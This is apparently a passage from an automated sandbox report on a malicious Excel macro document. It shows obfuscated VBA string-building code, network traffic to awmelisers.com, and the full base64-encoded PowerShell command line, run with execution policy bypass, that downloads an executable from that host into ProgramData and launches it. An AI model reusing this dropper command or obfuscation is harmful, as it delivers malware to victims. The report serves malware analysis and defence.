    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 72), 107), 65), 81), 81), 66), 72), 65), 69), 85), 65), 81), 81), 66), 105), 65), 70), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 103), 66), 115), 65), 69), 69), 65), 83), 65), 66), 82), 65), 69), 69), 65), 87), 103), 66), 82)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 73), 65), 101), 81), 66), 66), 65), 69), 77), 65), 90), 119), 66), 66), 65), 70), 81), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 85), 81), 66), 67), 65), 71), 103), 65), 81), 81), 66), 72), 65), 68), 81), 65), 81), 81), 66), 97)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 81), 103), 66), 111), 65), 69), 69), 65), 83), 65), 66), 82), 65), 69), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 89), 103), 66), 51), 65), 69), 73), 65), 101), 81), 66), 66), 65), 69), 103), 65), 97), 119), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 70), 65), 65), 85), 81), 66), 66), 65), 71), 115), 65), 81), 81), 66), 73), 65), 70), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 106), 65), 71), 99), 65), 81), 103), 65), 120), 65), 69), 69), 65), 82), 119), 66), 86)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 84), 65), 66), 66), 65), 69), 69), 65), 90), 119), 66), 66), 65), 69), 89), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 66), 65), 71), 73), 65), 100), 119), 66), 67), 65), 72), 111), 65), 81), 81), 66), 72)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 71), 115), 65), 81), 81), 66), 107), 65), 69), 69), 65), 81), 103), 66), 119), 65), 69), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 82), 119), 65), 52), 65), 69), 69), 65), 89), 103), 66), 110), 65), 69), 69), 65), 79), 81), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 81), 65), 82), 81), 66), 66), 65), 69), 115), 65), 85), 81), 66), 67), 65), 71), 81), 65)

    FGLOUSGPMUJXUKN3 = ZDOHNZM
End Function

Private Function FGLOUSGPMUJXUKN4() As String
   Dim ZDOHNZM As String

    ZDOHNZM = ""
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 81), 66), 66), 65), 71), 56), 65), 81), 81), 66), 74), 65), 69), 69), 65), 81), 81), 66), 110)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 69), 69), 65), 81), 119), 66), 66), 65), 69), 69), 65), 83), 81), 66), 66), 65), 69), 69), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 90), 119), 66), 66), 65), 69), 77), 65), 81), 81), 66), 66), 65), 69), 107), 65), 81), 81), 66), 66)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 65), 71), 99), 65), 81), 81), 66), 71), 65), 72), 77), 65), 81), 81), 66), 106), 65), 72), 99), 65)
    ZDOHNZM = GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(GYFM(ZDOHNZM, 81), 103), 65), 119), 65), 69), 69), 65), 83), 65), 66), 74), 65), 69), 69), 65), 89), 81), 66

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 623

General
Stream Path:	PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	623
Entropy:	5.20185927257
Base64 Encoded:	True
Data ASCII:	I D = " { 5 D D 9 0 D 7 6 - 4 9 0 4 - 4 7 A 2 - A F 0 D - D 6 9 B 4 6 7 3 6 0 4 E } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S e r v i c e A r r a y / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = A l t S v c A r r a y / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = A r c h i v e d A l t S v c s / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = 0 . . V e r s
Data Raw:	49 44 3d 22 7b 35 44 44 39 30 44 37 36 2d 34 39 30 34 2d 34 37 41 32 2d 41 46 30 44 2d 44 36 39 42 34 36 37 33 36 30 34 45 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 65 72 76 69 63 65 20 41 72 72 61 79 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 41 6c 74 20 53

Stream Path: PROJECTwm, File Type: data, Stream Size: 200

General
Stream Path:	PROJECTwm
File Type:	data
Stream Size:	200
Entropy:	3.50754976555
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S e r v i c e A r r a y . S . e . r . v . i . c . e . . A . r . r . a . y . . . A l t S v c A r r a y . A . l . t . . S . v . c . . A . r . r . a . y . . . A r c h i v e d A l t S v c s . A . r . c . h . i . v . e . d . . A . l . t . . S . v . c . s . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 65 72 76 69 63 65 20 41 72 72 61 79 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 41 00 72 00 72 00 61 00 79 00 00 00 41 6c 74 20 53 76 63 20 41 72 72 61 79 00 41 00 6c 00 74 00 20 00 53 00 76 00 63 00 20 00 41 00 72 00 72 00 61 00 79 00 00 00 41 72 63 68 69

Stream Path: VBA/_VBA_PROJECT, File Type: ISO-8859 text, with no line terminators, Stream Size: 7

General
Stream Path:	VBA/_VBA_PROJECT
File Type:	ISO-8859 text, with no line terminators
Stream Size:	7
Entropy:	1.84237099318
Base64 Encoded:	False
Data ASCII:	. a . . . . .
Data Raw:	cc 61 ff ff 00 00 00

Stream Path: VBA/dir, File Type: data, Stream Size: 343

General
Stream Path:	VBA/dir
File Type:	data
Stream Size:	343
Entropy:	6.00421995659
Base64 Encoded:	False
Data ASCII:	. S . . . . . . . . . . 0 . . . . . . . . H . . . . . . . . . . . . . . V B A P r o j e . c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . . . Q . T . . . " < . . . . . . D . . . . . . . . . T . h i s W o r k b @ o o k G . . . . . . h . i . s . W . . o . r . k . b . . . o . . . . / 2 . / . . u . H . . 1 . . . . . , . C . " . . + . . . . . . . . S e r v i c e . A r r a y G . < . . T . e . . v . 4 c . . . . A . . r . a . y . . . . . 2 . . . L A l t . S v c . L A . l . . t . / S . 5 c . L .
Data Raw:	01 53 b1 80 01 00 04 00 00 00 01 00 30 aa 02 02 90 09 00 20 14 06 48 03 00 a8 80 00 00 e9 fd 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 00 08 05 06 12 09 02 12 a5 95 1f 51 06 54 00 0c 02 22 3c 02 0a 0f 02 b6 05 44 00 13 02 07 ff ff 19 02 1d 54 00 68 69 73 57 6f 72 6b 62 40 6f 6f 6b 47 00 18 01 11 00 00 68 00 69 00 73

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 26, 2021 07:23:09.525808096 CEST	49165	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:09.543499947 CEST	443	49165	206.81.23.172	192.168.2.22
Aug 26, 2021 07:23:09.543592930 CEST	49165	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:09.555804014 CEST	49165	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:09.572786093 CEST	443	49165	206.81.23.172	192.168.2.22
Aug 26, 2021 07:23:09.572845936 CEST	443	49165	206.81.23.172	192.168.2.22
Aug 26, 2021 07:23:09.572869062 CEST	443	49165	206.81.23.172	192.168.2.22
Aug 26, 2021 07:23:09.572918892 CEST	49165	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:09.619920969 CEST	49165	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:09.620398998 CEST	49166	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:09.636902094 CEST	443	49165	206.81.23.172	192.168.2.22
Aug 26, 2021 07:23:09.637106895 CEST	443	49166	206.81.23.172	192.168.2.22
Aug 26, 2021 07:23:09.637181044 CEST	49166	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:09.637438059 CEST	49166	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:09.654237986 CEST	443	49166	206.81.23.172	192.168.2.22
Aug 26, 2021 07:23:09.654287100 CEST	443	49166	206.81.23.172	192.168.2.22
Aug 26, 2021 07:23:09.654314041 CEST	443	49166	206.81.23.172	192.168.2.22
Aug 26, 2021 07:23:09.654403925 CEST	49166	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:10.009793997 CEST	49166	443	192.168.2.22	206.81.23.172
Aug 26, 2021 07:23:10.026846886 CEST	443	49166	206.81.23.172	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 26, 2021 07:23:09.462815046 CEST	52197	53	192.168.2.22	8.8.8.8
Aug 26, 2021 07:23:09.513462067 CEST	53	52197	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 26, 2021 07:23:09.462815046 CEST	192.168.2.22	8.8.8.8	0xa0c2	Standard query (0)	awmelisers.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 26, 2021 07:23:09.513462067 CEST	8.8.8.8	192.168.2.22	0xa0c2	No error (0)	awmelisers.com		206.81.23.172	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2812 Parent PID: 584

General

Start time:	07:22:35
Start date:	26/08/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fff0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 3052 Parent PID: 1220

General

Start time:	07:22:42
Start date:	26/08/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c 'powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBhAHcAbQBlAGwAaQBzAGUAcgBzAC4AYwBvAG0AIgAgACIAYQBwAGkALwB2ADMALwBhAGMAaAB5AHIAYQBuAHQAaABlAHMALwBjAG8AbgB0AHIAYQBwAG8AbABhAHIAaQB6AGEAdABpAG8AbgAvAGsAdQBsAHQAdQByAGsAcgBlAGkAcwAiACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAIgAgACIAQQB3AG0AZQBsAGkAcwBlAHIAcwAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA=='
Imagebase:	0x4ac20000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 1664 Parent PID: 3052

General

Start time:	07:22:43
Start date:	26/08/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBhAHcAbQBlAGwAaQBzAGUAcgBzAC4AYwBvAG0AIgAgACIAYQBwAGkALwB2ADMALwBhAGMAaAB5AHIAYQBuAHQAaABlAHMALwBjAG8AbgB0AHIAYQBwAG8AbABhAHIAaQB6AGEAdABpAG8AbgAvAGsAdQBsAHQAdQByAGsAcgBlAGkAcwAiACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAIgAgACIAQQB3AG0AZQBsAGkAcwBlAHIAcwAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA==
Imagebase:	0x13f360000
File size:	473600 bytes
MD5 hash:	852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: powershell.exe PID: 1664 Parent PID: 3052 powershell.exeCOMMON

Executed Functions

Function 000007FF002506E5, Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2111607417.000007FF00250000.00000040.00000001.sdmp, Offset: 000007FF00250000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f10ad2c4c8eff19e30e9e93367ceba422fcd3d829e7cf5d8ffe66931a3abdf52
Instruction ID: 3cfdc55228ae021b652e3a7189e91928f7b549c12e22d6dbd4c6db3e5e725d32
Opcode Fuzzy Hash: f10ad2c4c8eff19e30e9e93367ceba422fcd3d829e7cf5d8ffe66931a3abdf52
Instruction Fuzzy Hash: 162102A290E7C24FEB4347345CA52A1BFB0AF13215B4E04EBC085CB0E3E96C9D59C762

Uniqueness

Uniqueness Score: -1.00%

Function 000007FF00251261, Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2111607417.000007FF00250000.00000040.00000001.sdmp, Offset: 000007FF00250000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45da9073aa73346308fa6cdaf8db8768731c40790c6174167a8330ed1f02fb49
Instruction ID: 10cbac0e076e0b0087327a4ded7740b5d6be645c519a64d4f8c0c272dc86d6f1
Opcode Fuzzy Hash: 45da9073aa73346308fa6cdaf8db8768731c40790c6174167a8330ed1f02fb49
